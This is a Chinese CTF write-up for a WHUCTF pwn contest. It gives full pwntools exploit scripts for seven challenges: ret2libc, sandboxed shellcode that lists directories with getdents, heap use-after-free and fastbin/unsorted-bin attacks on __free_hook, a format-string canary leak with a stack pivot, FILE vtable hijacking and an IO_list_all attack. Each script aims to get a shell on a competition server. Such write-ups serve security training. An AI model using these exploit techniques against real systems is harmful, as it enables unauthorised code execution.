写在前面:
这次比赛还是挺酷的,学到了一些骚操作,感谢武汉大学举办的这次比赛
概述:
- Pwnpwn:签到题,ret2libc
- Shellcode: 开启了沙盒并且flag路径未知时的处理情况
- FFF : uaf利用,unsorted bin attrack打再free_hook上方写入main_arena地址,fastbin attrack打free_hook
- Arbitrary: f3泄露地址,f1、f3栈迁移getshell
- Overflow: 伪造stdout,劫持vtable指向one_gadget
- Attention : fastbin attrack打数组指针
- Heaptrick: 任意地址写global_max_fast,io_finsh打io_list_all
pwnpwn:
简单的栈溢出,ret2libc
exp:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
#from LibcSearcher import LibcSearcher
#context.log_level = 'debug'
binary = 'pwnpw'
elf = ELF('pwnpw')
libc = ELF("./libc-2.23.so")
context.binary = binary
DEBUG = 0
if DEBUG:
p = process(binary)
# p=process(binary,env={"LD_PRELOAD":"./libc-2.27.so"})
else:
host = "218.197.154.9"
port = 10004
p = remote(host,port)
o_g = [0x45216,0x4526a,0xf02a4,0xf1147]
magic = [0x3c4b10,0x3c67a8,0x846c0,0x45390]#malloc,free,realloc,system
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b :p.sendlineafter(str(a),str(b))
sa = lambda a,b :p.sendafter(str(a),str(b))
lg = lambda name,data : p.success(name + ": 0x%x" % data)
se = lambda payload: p.send(payload)
sl = lambda payload: p.sendline(payload)
ru = lambda a :p.recvuntil(str(a))
payload = "a"*(0x88+0x4)+p32(elf.plt["write"])+p32(0x0804843B)+p32(1)+p32(elf.got["read"])+p32(8)
p.recv()
p.sendline(payload)
libc_base = l32()-libc.sym["read"]
lg("libc_base",libc_base)
sys_addr = libc.sym["system"]+libc_base
sh_addr = libc_base+libc.search("/bin/sh").next()
payload = "a"*(0x88+0x4)+p32(sys_addr)+p32(0)+p32(sh_addr)
p.recv()
p.sendline(payload)
# gdb.attach(p)
p.interactive()
shellcode:
题目就是一个简单shellcode调用,难点在于不知道flag路径,需要自己寻
找,这里用到了一个函数sys_getdents
int getdents(unsigned int fd, struct linux_dirent *dirp,unsigned int count);
该函数是一个解析文件夹的函数,第一个参数时要解析的文件句柄,第二个参数是存放解析数据的位置,count是dirp的大小,通过这个我们就可以解析文件夹,但是解析数据的情况有点糟糕,但也不难辨认,需要注意的是当打开文件夹时open的第二个参数为0x10000,打开文件时的参数为0
可以看到有一个FFFFFFFlag的文件夹,我们进一步解析这个文件夹
解析成功,然后我们把open的第二个参数换成0,getdents改为read就好了
可以看到成功打印出flag,
第一部分的shellcode:
payload = shellcraft.open("./",0x10000)
payload += shellcraft.getdents("rax","rsp",0x300)
payload += shellcraft.write(1,"rsp",0x300)
第二部分shellcode:
payload = shellcraft.open("./FFFFFFFFFlag/flag",0)
payload += shellcraft.read("rax","rsp",0x300)
payload += shellcraft.write(1,"rsp",0x300)
小结:
当不知道flag路径时使用getdents函数
FFF:
uaf的利用,先unsortedbin attrak再free_hook上方写入main_arnea的地址,然后fastbinattrack打free_hook,当然打malloc_hook也可
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
#from LibcSearcher import LibcSearcher
context.log_level = 'debug'
binary = 'pwn222'
elf = ELF('pwn222')
libc = elf.libc
context.binary = binary
DEBUG = 0
if DEBUG:
p = process(binary)
# p=process(binary,env={"LD_PRELOAD":"./libc-2.27.so"})
else:
host = "218.197.154.9"
port = 10007
p = remote(host,port)
o_g = [0x45216,0x4526a,0xf02a4,0xf1147]
magic = [0x3c4b10,0x3c67a8,0x846c0,0x45390]#malloc,free,realloc,system
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b :p.sendlineafter(str(a),str(b))
sa = lambda a,b :p.sendafter(str(a),str(b))
lg = lambda name,data : p.success(name + ": 0x%x" % data)
se = lambda payload: p.send(payload)
sl = lambda payload: p.sendline(payload)
ru = lambda a :p.recvuntil(str(a))
def choice(idx):
sla("> ",str(idx))
def add(size):
choice(1)
sla("size?\n",str(size))
def show(idx):
choice(3)
sla("index?\n",str(idx))
def edit(idx,size,payload):
choice(2)
sla("index?\n",str(idx))
sla("size?\n",str(size))
sleep(0.1)
p.sendline(payload)
def free(idx):
choice(4)
sla("index?",str(idx))
add(0x88)
add(0x68)
add(0x68)
free(0)
show(0)
libc_base = l64()-0x3c4b78
lg("libc_base",libc_base)
malloc_hook = 0x3c4b78+libc_base
sys_addr = libc_base+magic[3]
free_hook = libc_base+magic[1]
edit(0,0x88,p64(0)+p64(free_hook-0x20))
add(0x88)
free(1)
# free(2)
edit(1,0x68,p64(free_hook-0x13))
add(0x68)
add(0x68)
edit(5,0x68,"a"*3+p64(sys_addr))
edit(2,0x68,"/bin/sh\x00")
free(2)
# gdb.attach(p)
p.interactive()
arbitrary:
格式化字符串漏洞泄露canary,libc,栈迁移:
exp:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
#from LibcSearcher import LibcSearcher
# context.log_level = 'debug'
binary = 'pwn4'
elf = ELF('pwn4')
libc = elf.libc
context.binary = binary
DEBUG = 0
if DEBUG:
p = process(binary)
# p=process(binary,env={"LD_PRELOAD":"./libc-2.27.so"})
else:
host = "218.197.154.9"
port = 10005
p = remote(host,port)
o_g = [0x45216,0x4526a,0xf02a4,0xf1147]
magic = [0x3c4b10,0x3c67a8,0x846c0,0x45390]#malloc,free,realloc,system
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b :p.sendlineafter(str(a),str(b))
sa = lambda a,b :p.sendafter(str(a),str(b))
lg = lambda name,data : p.success(name + ": 0x%x" % data)
se = lambda payload: p.send(payload)
sl = lambda payload: p.sendline(payload)
ru = lambda a :p.recvuntil(str(a))
p.recv()
p.sendline("3")
p.recv()
p.sendline("%p-%p-%p-%p-%p*%p-%p+%p-%p=%p-%p-%p-%p")
ru("*0x")
codebase = int(p.recv(12),16)-0xca7
lg("codebase",codebase)
ru("+0x")
canary = int(p.recv(16),16)-0xa
lg("canary",canary)
ru("=")
ru("0x")
libc_base = int(p.recv(12),16)-0x20830
lg("libc_base",libc_base)
note = 0x20204C+codebase
p.recv()
p.sendline("1")
p.recv()
p.sendline(str(note))
p.recv()
p.sendline("3")
p.recv()
popr = 0x0000000000021102+libc_base
sh = libc_base+libc.search("/bin/sh").next()
sys = libc.sym["system"]+libc_base
leaver = 0x0000000000042351+libc_base
one = o_g[1]+libc_base
rop = p64(0)+p64(one)
p.sendline(rop)
p.recv()
p.sendline("2")
p.recv()
note = 0x0202060+codebase
payload = p64(canary)*8+p64(note)+p64(leaver)
p.send(payload)
p.recv()
# gdb.attach(p)
p.send(payload)
"""
WHUCTF{Do_yOu_kNow_canary}
"""
p.interactive()
overflow:
伪造io_file劫持vtable指向one_gadget:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
#from LibcSearcher import LibcSearcher
# context.log_level = 'debug'
binary = 'pwn3'
elf = ELF('pwn3')
libc = elf.libc
context.binary = binary
DEBUG = 1
if DEBUG:
p = process(binary)
# p=process(binary,env={"LD_PRELOAD":"./libc-2.27.so"})
else:
host = "218.197.154.9"
port = 10006
p = remote(host,port)
o_g = [0x45216,0x4526a,0xf02a4,0xf1147]
magic = [0x3c4b10,0x3c67a8,0x846c0,0x45390]#malloc,free,realloc,system
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b :p.sendlineafter(str(a),str(b))
sa = lambda a,b :p.sendafter(str(a),str(b))
lg = lambda name,data : p.success(name + ": 0x%x" % data)
se = lambda payload: p.send(payload)
sl = lambda payload: p.sendline(payload)
ru = lambda a :p.recvuntil(str(a))
ru("0x")
addr = int(p.recv(12),16)
lg("addr",addr)
codebase = addr-0x202060
lg("codebase",codebase)
def choice(idx):
sla("Choice:",str(idx))
def show(offset):
choice(1)
sla("Offset:\n",str(offset))
def edit(offset,size,data):
choice(2)
sla("Offset:\n",str(offset))
sla("Size:\n",str(size))
sa("data:\n",payload)
show("-32")
libc_base = l64()-0x3c5540
lg("libc_base",libc_base)
sys_addr = libc_base+libc.sym["system"]
one = o_g[1]+libc_base
jump = libc_base+libc.symbols["_IO_file_jumps"]+0xc0
sh_addr = 0x18cd57+libc_base
payload = p64(0xfbad8800)+p64(addr)*7
payload += p64(addr+1)+p64(0)*4+p64(addr)+p64(1)
payload += p64(0xffffffffffffffff)+p64(0)+p64(addr)+p64(0xffffffffffffffff)
payload += p64(0)+p64(addr)+p64(0)*3+p32(0xffffffff)+p32(0)+p64(0)*2+p64(addr+240)
payload += p64(one)*10
edit(0, "-1", payload)
p.recv()
p.sendline("2")
p.recv()
p.sendline("-48")
p.recv()
p.sendline(str(8))
p.recv()
gdb.attach(p)
p.sendline(p64(addr))
#WHUCTF{Bss_Overflow_And_File_Struct_Exploitation}
p.interactive()
attention:
fastbin attrack打数组指针:
exp:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
#from LibcSearcher import LibcSearcher
context.log_level = 'debug'
binary = 'pwnpwn'
elf = ELF('pwnpwn')
libc = elf.libc
context.binary = binary
DEBUG = 0
if DEBUG:
p = process(binary)
# p=process(binary,env={"LD_PRELOAD":"./libc-2.27.so"})
else:
host = "218.197.154.9"
port = 10002
p = remote(host,port)
o_g = [0x45216,0x4526a,0xf02a4,0xf1147]
magic = [0x3c4b10,0x3c67a8,0x846c0,0x45390]#malloc,free,realloc,system
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b :p.sendlineafter(str(a),str(b))
sa = lambda a,b :p.sendafter(str(a),str(b))
lg = lambda name,data : p.success(name + ": 0x%x" % data)
se = lambda payload: p.send(payload)
sl = lambda payload: p.sendline(payload)
ru = lambda a :p.recvuntil(str(a))
def choice(idx):
sla("your choice :",str(idx))
def add():
choice(1)
def show():
choice(4)
def free():
choice(3)
def edit(name,data):
choice(2)
sa("name:\n",name)
sa("data:\n",data)
for i in range(31):
add()
free()
edit(p64(0x6010b0-0x10), 'aaa')
add()
add()
edit(p64(elf.got["atoi"]), 'aaa')
show()
libc_base = l64()-libc.sym["atoi"]
sys_addr = libc.sym["system"]+libc_base
edit(p64(sys_addr),p64(0))
# gdb.attach(p)
p.interactive()
heaptrick
任意地址写global_max_fast,io_finsh打io_list_all:
exp:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
#from LibcSearcher import LibcSearcher
context.log_level = 'debug'
binary = 'pwn1'
elf = ELF('pwn1')
libc = elf.libc
context.binary = binary
DEBUG = 0
if DEBUG:
p = process(binary)
# p=process(binary,env={"LD_PRELOAD":"./libc-2.27.so"})
else:
host = "218.197.154.9"
port = 10003
p = remote(host,port)
o_g = [0x45216,0x4526a,0xf02a4,0xf1147]
magic = [0x3c4b10,0x3c67a8,0x846c0,0x45390]#malloc,free,realloc,system
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b :p.sendlineafter(str(a),str(b))
sa = lambda a,b :p.sendafter(str(a),str(b))
lg = lambda name,data : p.success(name + ": 0x%x" % data)
se = lambda payload: p.send(payload)
sl = lambda payload: p.sendline(payload)
ru = lambda a :p.recvuntil(str(a))
def choice(idx):
sla("4.exit\n",str(idx))
def add(size,payload):
choice(1)
sla("Length:",str(size))
sa("Content:\n",payload)
def free(idx):
choice(2)
sla("Id:\n",str(idx))
def edit(payload):
choice(3)
sla("Name:\n",str(payload))
add(0x100,"aaaa")
add(0x100,"aaaa")
add(0x1400,"aaaa")
add(0x100,"aaaa")
free(0)
add(0x100,'\xa0')
libc_base = l64()-0x3c4ba0
lg("libc_base",libc_base)
p.recv()
p.sendline("666")
ru("0x")
codebase = int(p.recv(12),16)
lg("codebase",codebase)
globalmax = 0x3c67f8+libc_base
free_hook = libc_base+libc.sym["__free_hook"]
jump = libc_base+libc.symbols["_IO_file_jumps"]+0xc0
sh_addr = 0x18cd57+libc_base
sys_addr = libc.sym["system"]+libc_base
one = o_g[1]+libc_base
payload = p64(globalmax)*5
edit(payload)
free(2)
payload = p64(0)*2
payload += p64(0)+p64(1)
payload += p64(0)+p64(sh_addr)
payload = payload.ljust(0xc8,"\x00")
payload += p64(jump-0x8)+p64(0)+p64(sys_addr)
add(0x1400,payload)
free(2)
p.recv()
p.sendline("1")
p.recv()
p.sendline(str(0x100))
# gdb.attach(p)
p.interactive()